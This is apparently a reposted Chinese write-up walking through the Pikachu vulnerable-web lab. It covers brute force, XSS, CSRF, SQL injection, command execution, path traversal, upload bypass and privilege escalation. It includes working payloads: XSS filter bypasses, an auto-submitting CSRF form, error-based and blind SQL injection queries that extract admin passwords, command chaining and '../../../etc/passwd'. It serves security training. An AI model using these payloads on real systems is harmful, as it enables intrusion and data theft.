Pikachu漏洞练习平台


暴力破解

概述

Burte Force(暴力破解)概述

“暴力破解”是一攻击具手段,在web攻击中,一般会使用这种手段对应用系统的认证信息进行获取。 其过程就是使用大量的认证信息在认证接口进行尝试登录,直到得到正确的结果。 为了提高效率,暴力破解一般会使用带有字典的工具来进行自动化操作。

理论上来说,大多数系统都是可以被暴力破解的,只要攻击者有足够强大的计算能力和时间,所以断定一个系统是否存在暴力破解漏洞,其条件也不是绝对的。 我们说一个web应用系统存在暴力破解漏洞,一般是指该web应用系统没有采用或者采用了比较弱的认证安全策略,导致其被暴力破解的“可能性”变的比较高。 这里的认证安全策略, 包括:

1.是否要求用户设置复杂的密码;

2.是否每次认证都使用安全的验证码(想想你买火车票时输的验证码~)或者手机otp;

3.是否对尝试登录的行为进行判断和限制(如:连续5次错误登录,进行账号锁定或IP地址锁定等);

4.是否采用了双因素认证;

...等等。

基于表单的暴力破解 

使用 BURPSUITE 进行暴力破解

爆破时,选择 Cluster bumb 模式对 Username 与 Password 进行爆破

 Cluster bumb 模式将对爆破目标做笛卡尔积

此处有三个用户,分别为:

admin/123456

pikachu/000000

test/abc123

验证码绕过(on server 与 on client)

on server

验证码在后台不会过期,每一次爆破皆可使用

爆破时在抓取的数据包中填入正确的验证码即可在每一次爆破中使用验证码

on client

验证码在前端生成并检查,可被绕过

token防爆破

1、Token的引入:Token是在客户端频繁向服务端请求数据,服务端频繁的去数据库查询用户名和密码并进行对比,判断用户名和密码正确与否,并作出相应提示,在这样的背景下,Token便应运而生。

2、Token的定义:Token是服务端生成的一串字符串,以作客户端进行请求的一个令牌,当第一次登录后,服务器生成一个Token便将此Token返回给客户端,以后客户端只需带上这个Token前来请求数据即可,无需再次带上用户名和密码。

3、使用Token的目的:Token的目的是为了减轻服务器的压力,减少频繁的查询数据库,使服务器更加健壮。

后端会生成一个token值返回给客户端,当客户端进行请求时,同时携带该token

与服务端token比对,相同则接受

本题使用pitchfork进行爆破,不足是爆破点只能选择密码与token值

在第二个爆破点,即token值进行如下设置

然后在options中

选择原token值

开始爆破前,需将线程数设置为1

由于第二个爆破选取递归爆破的方式,故线程数只能为1

爆破后得admin账户密码为123456

该方式一极大弊端为不能连用户名一起进行爆破

而若连用户名一起进行爆破选择笛卡尔积模式的话

笔者还没能处理好token值与用户名及密码的关系

模块详解:Intruder模块模块详解

四种爆破模式:爆破模式

token:什么是token

四种爆破模式大致如下:

1.sniper 对单点进行爆破,若设置多个爆破点,则使用同一字典对其分别爆破

2.battering ram 对多个点使用同一字典进行同时爆破

3.pitch-fork 对不同点使用不同字典分别爆破

4.cluster bomb 对不同点使用不同字典进行笛卡尔积爆破

Cross-Site Scripting

XSS(跨站脚本)概述

Cross-Site Scripting 简称为“CSS”,为避免与前端叠成样式表的缩写"CSS"冲突,故又称XSS。一般XSS可以分为如下几种常见类型:

1.反射性XSS;
2.存储型XSS;
3.DOM型XSS;

XSS漏洞一直被评估为web漏洞中危害较大的漏洞,在OWASP TOP10的排名中一直属于前三的江湖地位。

XSS是一种发生在前端浏览器端的漏洞,所以其危害的对象也是前端用户。

形成XSS漏洞的主要原因是程序对输入和输出没有做合适的处理,导致“精心构造”的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。

因此在XSS漏洞的防范上,一般会采用“对输入进行过滤”和“输出进行转义”的方式进行处理:
输入过滤:对输入进行过滤,不允许可能导致XSS攻击的字符输入;
输出转义:根据输出点的位置对输出到前端的内容进行适当转义;

反射型xss(get)

写入 '"<>bea123 测试写入的特殊字符会不会被过滤

发现没有过滤字符

写入xss代码

 <script>alert("BEACON")</script> 

代码长度受限,通过代码审计修改长度即可

反射型xss(post)

登录后执行相同操作

存储型XSS

漏洞描述:xss代码被注入到后台并存储起来,构成持久性危害

同样判断有无过滤字符

执行同样操作

DOM型XSS

漏洞描述:前端数据被DOM获取,并通过DOM又输出到前端(危害低,不会经过后端)

网页源代码

我们先通过 "> 闭合了herf标签,然后再插入相应的payload

根据提示构造payload '><img src="#" onmouseover="alert('xss')"> 

DOM型XSS-X

网页源代码

与前面不同的是,前面通过 getElementById 获取到了标签 Id 为 text的内容赋值给str

然后又把 str 的内容通过字符串拼接的方式写到了 a 标签的 href 属性中,a标签会写到 Id 为 dom的 div 标签中

这里则是定义了一个domxss函数

利用 window.location.search 获取浏览器中URL的内容,然后赋值给 str

然后经过URL解码和字符串分隔,取出URL中的参数内容

再把 “+” 替换为 “ ”(空格),赋值给 xss

最后把 xss 拼接到 a 标签中,然后写到 Id 为 dom 的 div 标签中

跟前面的DOM不同的是,它的输入是从浏览器的URL中获取的

XSS之盲打

所谓盲打即所插入的内容不会在前端显示,故不能在前端得到相应的反馈

插入的内容在后端,若插入的xss没有被过滤,则可在后台执行

xss之过滤

对于xss的过滤,主要运用两种思路进行绕过

首先是转换,将xss命令转换为其他形式,其次则是使用编码的手段

转换

1.抓包重新插入,或修改前端HTML代码

2.修改大小写,若正则匹配只匹配小写,则可绕过

3.双写(拼凑),例如<scri<script>pt>alert(111)</scri</script>pt>,后台即使过滤script,也有只过滤一次的可能

4.注释干扰,例如<scri<!--test-->pt>alert(111)</sc<!--test-->ript>,加上注释后,有绕过后台过滤机制的可能

编码

核心思路:

后台过滤了特殊字符,比如<script>标签,但该标签可以被各种编码,后台不一定过滤

当浏览器对该编码进行识别时,会翻译成正常的标签,从而执行

xss之htmlspecialchars

 测试输入 "'<>?#'666 

得到反馈

发现该函数在我这里好像没有任何反应

而其他环境下反应应是如下

需要在payload前后加上单引号'用于闭合herf中的单引号

构造如下

 ' onclick=alert(11111) ' 

而其中只能输入数字

两个单引号与正文需有一个空格相隔

后端单引号可去掉,但空格仍需要存在

xss之href输出

此处需了解到javascript伪协议文章地址

伪协议不同于因特网上所真实存在的协议,如http://,https://,ftp://,

而是为关联应用程序而使用的.如:tencent://(关联QQ),data:(用base64编码来在浏览器端输出二进制文件),还有就是javascript:

我们可以在浏览地址栏里输入"javascript:alert('JS!');",点转到后会发现,实际上是把javascript:后面的代码当JavaScript来执行,并将结果值返回给当前页面。

将javascript代码添加到客户端的方法是把它放置在伪协议说明符javascript:后的URL中。这个特殊的协议类型声明了URL的主体是任意的javascript代码,它由javascript的解释器运行。如果javascript:URL中的javascript代码含有多个语句,必须使用分号将这些语句分隔开。这样的URL如下所示:

javascript:var now = new Date(); "<h1>The time is:</h1>" + now;

当浏览器装载了这样的URL时,它将执行这个URL中包含的javascript代码,并把最后一条javascript语句的字符串值作为新文档的内容显示出来。这个字符串值可以含有HTML标记,并被格式化,其显示与其他装载进浏览器的文档完全相同。

在浏览器打开javascript:URL的时候,它会先运行URL中的代码,当返回值不为undefined的时候,前页链接会替换为这段代码的返回值。

javascript URL还可以含有只执行动作,但不返回值的javascript语句。例如:

javascript:alert("hello world!")

装载了这种URL时,浏览器仅执行其中的javascript代码,但由于没有作为新文档来显示的值,因此它并不改变当前显示的文档。

通常我们想用javascript:URL执行某些不改变当前显示的文档的javascript代码。要做到这一点,必须确保URL中的最后一条语句没有返回值。一种方法是用void运算符显式地把返回值指定为underfined,只需要在javascript:URL的结尾使用语句void 0;即可。例如:下面的URL将打开一个新的空浏览器窗口,而不改变当前窗口的内容:

javascript:window.open("about:blank"); void 0;

如果这个URL没有void运算符,window.open()方法的返回值将被转换成字符串并被显示出来,当前窗口将被如下所示的文档覆盖。

xss之js输出

网页源代码如下

则可通过闭合前面<script>来执行我们想要的操作

即构造payload

'</script><script>alert('xss')</script>

xss:xss漏洞测试

xss之htmlspecialchars:PHP htmlspecialchars() 函数

javascript伪协议:javascript伪协议

XSS攻击流程

假设存在漏洞的是一个论坛,攻击者将恶意的JS代码通过XSS漏洞插入到论文的某一页面中

当用户访问这个页面时,都会执行这个恶意的JS代码,这个代码就会在用户的浏览器端执行

XSS攻击类型

危害:存储型 > 反射型 > DOM型

  • 反射型:交互的数据一般不会被存在数据库里面,一次性,所见即所得,一般出现在查询页面等
  • 存储型:交互的数据会被存在数据库里面,永久性存储,一般出现在留言板,注册等页面
  • DOM型:不与后台服务器产生数据交互,是一种通过DOM操作前端代码输出的时候产生的问题,一次性,也属于反射型

XSS形成原因

形成XSS漏洞的主要原因是程序中输入和输出的控制不够严格

导致“精心构造”的脚本输入后,在输出到前端时被浏览器当作有效代码解析执行

XSS漏洞测试流程

    ① 在目标上找输入点,比如查询接口、留言板

    ② 输入一组 “特殊字符(>,',"等)+唯一识别字符” ,点击提交后,查看返回源码,看后端返回的数据是否有处理

    ③ 通过搜索定位到唯一字符,结合唯一字符前后语法确定是否可以构造执行js的条件(构造闭合)

    ④ 提交构造的脚本代码(以及各种绕过姿势),看是否可以成功执行,如果成功执行则说明存在XSS漏洞

CSRF

CSRF(跨站请求伪造)概述

Cross-site request forgery 简称为“CSRF”,在CSRF的攻击场景中攻击者会伪造一个请求(这个请求一般是一个链接),然后欺骗目标用户进行点击,用户一旦点击了这个请求,整个攻击就完成了。所以CSRF攻击也成为"one click"攻击。 很多人搞不清楚CSRF的概念,甚至有时候会将其和XSS混淆,更有甚者会将其和越权问题混为一谈,这都是对原理没搞清楚导致的。

列举场景

这里列举一个场景解释一下,希望能够帮助你理解。

场景需求:

小黑想要修改大白在购物网站tianxiewww.xx.com上填写的会员地址。

先看下大白是如何修改自己的密码的:

登录---修改会员信息,提交请求---修改成功。
所以小黑想要修改大白的信息,他需要拥有:

1,登录权限 2,修改个人信息的请求。
但是大白又不会把自己xxx网站的账号密码告诉小黑,那小黑怎么办?
于是他自己跑到www.xx.com上注册了一个自己的账号,然后修改了一下自己的个人信息(比如:E-mail地址),他发现修改的请求是:
【http://www.xxx.com/edit.php?email=xiaohei@88.com&Change=Change】
于是,他实施了这样一个操作:把这个链接伪装一下,在小白登录xxx网站后,欺骗他进行点击,小白点击这个链接后,个人信息就被修改了,小黑就完成了攻击目的。
为啥小黑的操作能够实现呢。有如下几个关键点:

1.www.xxx.com这个网站在用户修改个人的信息时没有过多的校验,导致这个请求容易被伪造;
---因此,我们判断一个网站是否存在CSRF漏洞,其实就是判断其对关键信息(比如密码等敏感信息)的操作(增删改)是否容易被伪造。
2.小白点击了小黑发给的链接,并且这个时候小白刚好登录在购物网上;
---如果小白安全意识高,不点击不明链接,则攻击不会成功,又或者即使小白点击了链接,但小白此时并没有登录购物网站,也不会成功。
---因此,要成功实施一次CSRF攻击,需要“天时,地利,人和”的条件。
当然,如果小黑事先在xxx网的首页如果发现了一个XSS漏洞,则小黑可能会这样做: 欺骗小白访问埋伏了XSS脚本(盗取cookie的脚本)的页面,小白中招,小黑拿到小白的cookie,然后小黑顺利登录到小白的后台,小黑自己修改小白的相关信息。
---所以跟上面比一下,就可以看出CSRF与XSS的区别:CSRF是借用户的权限完成攻击,攻击者并没有拿到用户的权限,而XSS是直接盗取到了用户的权限,然后实施破坏。因此,网站如果要防止CSRF攻击,则需要对敏感信息的操作实施对应的安全措施,防止这些操作出现被伪造的情况,从而导致CSRF。比如:
--对敏感信息的操作增加安全的token;
--对敏感信息的操作增加安全的验证码;
--对敏感信息的操作实施安全的逻辑流程,比如修改密码时,需要先校验旧密码等。

CSRF(get)

在尝试修改个人信息界面进行如下填写并抓包

直接修改链接内容让受害者点击即可

构造如下

/pikachu-master/vul/csrf/csrfget/csrf_get_edit.php?sex=1&phonenum=2&add=3&email=4&submit=submit

如若受害者在登录状态点击该链接,即可达到攻击的目的

get请求修改个人信息,所以内容均在url中体现,即可构造攻击连接

CSRF(post)

post与get不同,不可通过构造攻击连接进行攻击

攻击者可以搭建一个站点,在站点上做一个表单,诱导受害者点击这个链接

受害者点击时,就会自动向存在CSRF的服务器提交POST请求修改个人信息

编写一个post.html

代码如下:

 1 <html>
 2 <head>
 3 <script>
 4 window.onload = function() {
 5   document.getElementById("postsubmit").click();
 6 }
 7 </script>
 8 </head>
 9 <body>
10 <form method="post" action="http://localhost//pikachu-master/vul/csrf/csrfpost/csrf_post_edit.php">
11     <input id="sex" type="text" name="sex" value="girl" />
12     <input id="phonenum" type="text" name="phonenum" value="0220" />
13     <input id="add" type="text" name="add" value="china" />
14     <input id="email" type="text" name="email" value="0220@pikachu.com" />
15     <input id="postsubmit" type="submit" name="submit" value="submit" />
16 </form>
17 </body>
18 </html>

笔者存放位置为 http://localhost//jennie/post.html 

即受害者点击笔者存该改页面链接时收到攻击

CSRF(token)

CSRF的主要问题是敏感操作容易被伪造

加入一个随机的token使之不易被伪造

每次请求多了一个随机的token值,这是一个相对安全的

CSRF:CSRF

概述

CSRF 是 Cross Site Request Forgery 的 简称,中文名为跨域请求伪造

在CSRF的攻击场景中,攻击者会伪造一个请求(一般是一个链接)

然后欺骗目标用户进行点击,用户一旦点击了这个请求,这个攻击也就完成了

所以CSRF攻击也被称为“one click”攻击

CSRF攻击需要条件

    ① 目标网站没有对修改个人信息修改的请求进行防CSRF处理,导致该请求容易被伪造

因此,判断一个网站有没有CSRF漏洞,其实就是判断对关键信息(密码等)的操作(增删改)是否容易被伪造

    ② lucy点击伪造的请求链接时有登录状态(已经登陆了目标网站),如果lucy没有登录,那么即便lucy点击了链接也没有作用

从CSRF的利用条件来看,CSRF的利用难度会大一些,所以CSRF对应的安全级别低一些

CSRF和XSS的区别

我们利用XSS可以达到盗取用户Cookie的目的,那么CSRF的区别在哪?

  • CSRF是借助用户的权限完成攻击,攻击者并没有拿到用户的权限。目标构造修改个人信息的链接,利用lucy在登录状态下点击此链接达到修改信息的目的。
  • XSS直接盗取了用户的权限,然后实施破坏。攻击者利用XSS盗取了目标的Cookie,登录lucy的后台,再修改相关信息。

如何确认一个目标站点是否有CSRF漏洞

 对目标站点增删改查的地方进行标记,并观察逻辑,判断请求是否可以伪造。

  • 比如修改管理员账号时,不需要验证旧密码
  • 比如修改敏感信息不需要token验证

  确认凭证的有效期

虽然退出或关闭了览器,但Cookie仍然有效,或者Session没有及时过期,导致CSRF攻击变得简单

防护

  • 增加Token验证(常用做法)
    • 对关键操作增加Token参数,token必须随机,每次都不一样
  • 关于安全的会话管理(避免会话被利用)
    • 不要在客户端保存敏感信息(比如身份验证信息)
    • 退出、关闭浏览器时的会话过期机制
    • 设置会话过机制,比如15分钟无操作,则自动登录超时
  • 访问控制安全管理
    • 敏感信息的修改时需要身份进行二次认证,比如修改账号密码,需要判断旧密码
    • 敏感信息的修改使用POST,而不是GET
    • 通过HTTP头部中的REFERER来限制原页面
  • 增加验证码
    • 一般在登录(防暴力破解),也可以用在其他重要信息操作的表单中(需要考虑可用性)

SQL-inject

SQL注入概述

SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。 从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷)。
在构建代码时,一般会从如下几个方面的策略来防止SQL注入漏洞:
1.对传进SQL语句里面的变量进行过滤,不允许危险字符传入;
2.使用参数化(Parameterized Query 或 Parameterized Statement);
3.还有就是,目前有很多ORM框架会自动使用参数化解决注入问题,但其也提供了"拼接"的方式,所以使用时需要慎重!

数字型注入(post)

抓包后,取id=2与id=3-1得到相同回显

即存在数字型注入

按部就班以从《从0到1》上学到的关于数字型注入的方法

事先已经先通过id=2与id=3-1得到相同回显判断这里存在数字型注入

且MySQL5.0版本后默认自带数据库information_schema,所有数据库名、表名、字段名都可从中查询

利用这一点,构造

id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()

得到回显

对查询到的表进行二次查询,构造

id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='member'

即为查询member中内容

我就只查询member中内容便发现我们想要的id与email

构造查询

id=-1 union select id,email from member

得到回显

或输入id=1 or 1=1亦可展示所有信息

字符型注入(get)

字符型需闭合前面的单引号,再注释查询内容后面的语句

构造时符号使用的为URL编码

在查询后面加入相应符号URL编码

查询执行成功

在两符号中间插入上文所提到的查询语句即可

构造

kobe%27union%20select%201,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()%23

得到回显

最后得到所有信息如下

同样的查询语句输入

or 1=1

亦可

搜索型注入

题目提示输入用户名的一部分进行查找

构造闭合%‘

即构造

%'查询#

xx型注入

依旧是按要求构造闭合

kobe') 查询#

“insert/update”注入

在insert/update/delete注入这几种情况中

不能使用 union 进行联合查询

因为这不是查询,而是操作

insert 设置用户名

这里一般通过or进行闭合

选择注册

在用户名栏中构造

BEACON' or updatexml(1, concat(0x7e,database()), 0) or '

利用报错进行我们的操作

update 修改密码

一样的构造,亦可

“delete”注入

在进行删除时,抓包修改id值为我们构造的代码即可

1 or updatexml(1, concat(0x7e,database()), 0) 

“http header”注入

admin' or updatexml(1, concat(0x7e, database()), 0)#

盲注(base on boolian)

基于真假的盲注主要特征

  • 没有报错信息
  • 不管是正确的输入,还是错误的输入,都只有两种情况(可以看做 0 or 1)
  • 在正确的输入下,后面跟 and 1=1 / and 1=2 进行判断

测试语句

kobe' and 1=1#
kobe' and 1=2#

前者可行,后者提示用户名不存在

此处输出仅有用户名存在与不存在两种形式,故不能使用之前基于报错注入的形式

我们只能通过 真 或者 假 来获取数据,所以手工盲注是很麻烦的

我们可以先用 length(database()) 判断 数据库名称的长度

kobe' and length(database())>5#
……
kobe' and length(database())=7#

再用 substr() 和 ascii() 判断数据库由哪些字母组成(可以用二分法)

kobe' and ascii(substr(database(), 1, 1)) > 113#
kobe' and ascii(substr(database(), 1, 1)) > 105#
……
kobe' and ascii(substr(database(), 1, 1)) = 112#

不断重复,然后取得数据库名。再和 information_schema 和 length 猜测 表名 的长度,我们可以用下面的 SQL 语句替代上面的 database()

(select table_name from information_schema.tables where table_schema=database() limit 0,1)

先判断表名长度

kobe' and  length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,100)) = 8#

然后猜解表名

kobe' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1), 1, 1)) > 113#
……
kobe' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1), 1, 1)) =104#

同样的方法去猜解列名、数据,就是麻烦,用工具会方便些

盲注(base on time)

基于真假的盲注可以看到回显的信息,正确 or 错误

基于时间的注入就什么都看不到了,我们通过特定的输入,判断后台执行的时间,从而确定注入点,比如用 sleep() 函数

在皮卡丘平台一,无论输入什么,前端都是显示 “I don't care who you are!”

我们按 F12 打开控制台,选到网络

然后我们输入下面的 payload 进行测试

kobe' and sleep(5)#

如果存在注入点,后端就会 sleep 5秒才会返回执行结果

看到上面的结果说明我们注入成功了,构造下面的 payload,用 database() 取得数据库的名称,再用 substr 取字符判断数据库名称的组成,如果猜解成功就会 sleep 5秒,否则没有任何动作

kobe' and  if((substr(database(), 1, 1))='p', sleep(5), null)#

后面也跟真假注入是一样的了,替换 database() 就可,如

kobe' and  if((substr((select table_name from information_schema.tables where table_schema=database() limit 0,1), 1, 1))='h', sleep(5), null)#

宽字节注入

SQL注入:SQL注入

发生原因

SQL注入漏洞,主要是开发人员在构建代码时,没有对输入边界进行安全考虑,导致攻击者可以通过合法的输入点提交一些精心构造的语句,从而欺骗后台数据库对其进行执行,导致数据库信息泄漏的一种漏洞。

SQL注入攻击流程

第一步:注入点探测

  • 自动方式:使用web漏洞扫描工具,自动进行注入点发现
  • 手动方式:手工构造SQL注入测试语句进行注入点发现

第二步:信息获取

  通过注入点取得期望得到的数据

  • 1.环境信息:数据库类型,数据库版本,操作系统版本,用户信息等
  • 2.数据库信息:数据库蜜罐,数据库表,表字段,字段内容等(加密内容破解)

第三步:获取权限

  获取操作系统权限:通过数据库执行shell,上传木马

注入点类型

按SQL语句拼接类型区分

  • 数字型:user_id=$id
  • 字符型:user_id='$id'
  • 搜索型:text LIKE '%{$_GET['search']}%'"

SQL中三种注释

① #

② -- (最后面有个空格)

③ /**/,内联注释,这个可以在SQL语句中间使用。select * from /*sqli*/ users;

基于函数报错注入(updatexml)

技巧思路:

  • 在 MySQL 中使用一些指定的函数来制造报错,从报错信息中获取设定的信息
  • select / insert /update / delete 都可以使用报错来获取信息

背景条件:

  • 后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端

三个常用函数

  • updatexml(): MySQL 对 XML 文档数据进行查询和修改的 XPATH 函数
  • extractvalue():MySQL 对 XML 文档数据进行查询的 XPATH 函数
  • floor():MySQL中用来取整的函数

updatexml()

具体

  updatexml()函数作用:改变(查找并替换)XML 文档中符合条件的节点的值

  语法:UPDATEXML (XML_document, XPath_string, new_value)

  • 第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc

  • 第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。不过这里用不到。

  • 第三个参数:new_value,String格式,替换查找到的符合条件的数据

  • Xpath语法: https://www.cnblogs.com/Loofah/archive/2012/05/10/2494036.html

XPath 定位必须是有效的,否则会发生错误

在字符型注入中测试

' and updatexml(1, version(), 0)#

报错

继续构造

' and updatexml(1, concat(0x7e, version()), 0)#

修改 version() 为 database() 即可得数据库名称

查询表名

' and updatexml(1, concat(0x7e, (select table_name from information_schema.tables where table_schema='pikachu')), 0)#

报错

在 payload 后面用 limit 关键字,限制取回的结果即可

' and updatexml(1, concat(0x7e, (select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)), 0)#

上面返回了查询结果中的第一个表名,如果要查询第二个表名,我们可以把 limit 语句换成 limit 1,1

limit 后的第一个数据是起始位置,第二个数字是取出的数据条数

获取字段

' and updatexml(1, concat(0x7e, (select column_name from information_schema.columns where table_name='users' limit 0,1)), 0)#

 获取数据

' and updatexml(1, concat(0x7e, (select username from users limit 0,1)), 0)#

获取密码

' and updatexml(1, concat(0x7e, (select password from users where username = 'admin' limit 0,1)), 0)#

 extractvalue()

 extractvalue()函数作用:从目标 XML 中返回包含所查询值的字符串

 语法:ExtractValue(xml_document, XPathstring)

  • 第一个参数:xml_document 是 string 格式,为 XML 文档对象的名称
  • 第二个参数: XPathstring,XPath 格式的字符串

构造

' and extractvalue(1, concat(0x7e,database())) #

floor()

向下取整。如果要用 floor() 构成报错,必须满足下面的条件

  • 运算中有 count
  • 运算中有 group by
  • 运算中有 rand

构造

' and (select 2 from (select count(*), concat(version(), floor(rand(0) * 2))x from information_schema.tables group by x)a)#

上面表达式执行的结果会以 “a” 作为别名,然后在 字符型注入 中提交,会得到下面的报错

我们可以把 version() 的表达式替换成别的表达式

' and (select 2 from (select count(*), concat((select password from users where username='admin' limit 0,1), floor(rand(0) * 2))x from information_schema.tables group by x)a)#

RCE

RCE(remote command/code execute)概述

RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。远程系统命令执行
一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口
比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上
一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。 而,如果,设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器

现在很多的甲方企业都开始实施自动化运维,大量的系统操作会通过"自动化运维平台"进行操作。 在这种平台上往往会出现远程系统命令执行的漏洞,不信的话现在就可以找你们运维部的系统测试一下,会有意想不到的"收获"-_-
远程代码执行
同样的道理,因为需求设计,后台有时候也会把用户的输入作为代码的一部分进行执行,也就造成了远程代码执行漏洞。 不管是使用了代码执行的函数,还是使用了不安全的反序列化等等。因此,如果需要给前端用户提供操作类的API接口,一定需要对接口输入的内容进行严格的判断,比如实施严格的白名单策略会是一个比较好的方法。

exec "ping"

ping

127.0.0.1

出现如下结果

出现乱码

解决方法:

我自己尝试了一下,没有解决

再到网上搜其他方法,也没有解决

或许可以通过在源代码上增加转为UTF-8的几行代码

这一个没有去尝试

在命令执行漏洞中,可通过&、&&、|、||、; 等符号拼接执行命令

如:

127.0.0.1 & ipconfig

不仅执行ping命令,ipconfig也执行

exec "evel"

 

可直接执行PHP代码

phpinfo();

File Inclusion

File Inclusion(文件包含漏洞)概述

文件包含,是一个功能。在各种开发语言中都提供了内置的文件包含函数,其可以使开发人员在一个代码文件中直接包含(引入)另外一个代码文件。 比如 在PHP中,提供了:
include(),include_once()
require(),require_once()
这些文件包含函数,这些函数在代码设计中被经常使用到。

大多数情况下,文件包含函数中包含的代码文件是固定的,因此也不会出现安全问题。 但是,有些时候,文件包含的代码文件被写成了一个变量,且这个变量可以由前端用户传进来,这种情况下,如果没有做足够的安全考虑,则可能会引发文件包含漏洞。 攻击着会指定一个“意想不到”的文件让包含函数去执行,从而造成恶意操作。 根据不同的配置环境,文件包含漏洞分为如下两种情况:

1.本地文件包含漏洞:仅能够对服务器本地的文件进行包含,由于服务器上的文件并不是攻击者所能够控制的,因此该情况下,攻击着更多的会包含一些 固定的系统配置文件,从而读取系统敏感信息。很多时候本地文件包含漏洞会结合一些特殊的文件上传漏洞,从而形成更大的威力。
2.远程文件包含漏洞:能够通过url地址对远程的文件进行包含,这意味着攻击者可以传入任意的代码,这种情况没啥好说的,准备挂彩。因此,在web应用系统的功能设计上尽量不要让前端用户直接传变量给包含函数,如果非要这么做,也一定要做严格的白名单策略进行过滤。

文件包含:介绍

unsafe filedownload 

不安全的文件下载概述

文件下载功能在很多web系统上都会出现,一般我们当点击下载链接,便会向后台发送一个下载请求,一般这个请求会包含一个需要下载的文件名称,后台在收到请求后 会开始执行下载代码,将该文件名对应的文件response给浏览器,从而完成下载。 如果后台在收到请求的文件名后,将其直接拼进下载文件的路径中而不对其进行安全判断的话,则可能会引发不安全的文件下载漏洞。

此时如果 攻击者提交的不是一个程序预期的的文件名,而是一个精心构造的路径(比如../../../etc/passwd),则很有可能会直接将该指定的文件下载下来。 从而导致后台敏感信息(密码文件、源代码等)被下载。所以,在设计文件下载功能时,如果下载的目标文件是由前端传进来的,则一定要对传进来的文件进行安全考虑。 切记:所有与前端交互的数据都是不安全的,不能掉以轻心!

不安全文件下载:介绍

unsafe upfileupload

不安全的文件上传漏洞概述

文件上传功能在web应用系统很常见,比如很多网站注册的时候需要上传头像、上传附件等等。当用户点击上传按钮后,后台会对上传的文件进行判断 比如是否是指定的类型、后缀名、大小等等,然后将其按照设计的格式进行重命名后存储在指定的目录。 如果说后台对上传的文件没有进行任何的安全判断或者判断条件不够严谨,则攻击着可能会上传一些恶意的文件,比如一句话木马,从而导致后台服务器被webshell。所以,在设计文件上传功能时,一定要对传进来的文件进行严格的安全考虑。比如:

--验证文件类型、后缀名、大小;
--验证文件的上传方式;
--对文件进行一定复杂的重命名;
--不要暴露文件上传后的路径;
--等等...

client check

删掉前端限制代码即可

MIME type

上传时,通过BP修改文件后缀

getimagesize

不安全文件上传:详细

over permission

概述

如果使用A用户的权限去操作B用户的数据,A的权限小于B的权限,如果能够成功操作,则称之为越权操作。 越权漏洞形成的原因是后台使用了 不合理的权限校验规则导致的。一般越权漏洞容易出现在权限页面(需要登录的页面)增、删、改、查的的地方,当用户对权限页面内的信息进行这些操作时,后台需要对 对当前用户的权限进行校验,看其是否具备操作的权限,从而给出响应,而如果校验的规则过于简单则容易出现越权漏洞。因此,在在权限管理中应该遵守:
1.使用最小权限原则对用户进行赋权;
2.使用合理(严格)的权限校验规则;
3.使用后台登录态作为条件进行权限判断,别动不动就瞎用前端传进来的条件;

水平越权

查看lucy账号信息

 

这里运用了GET 请求

将lucy改为lili

则可查看lili的信息

垂直越权


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM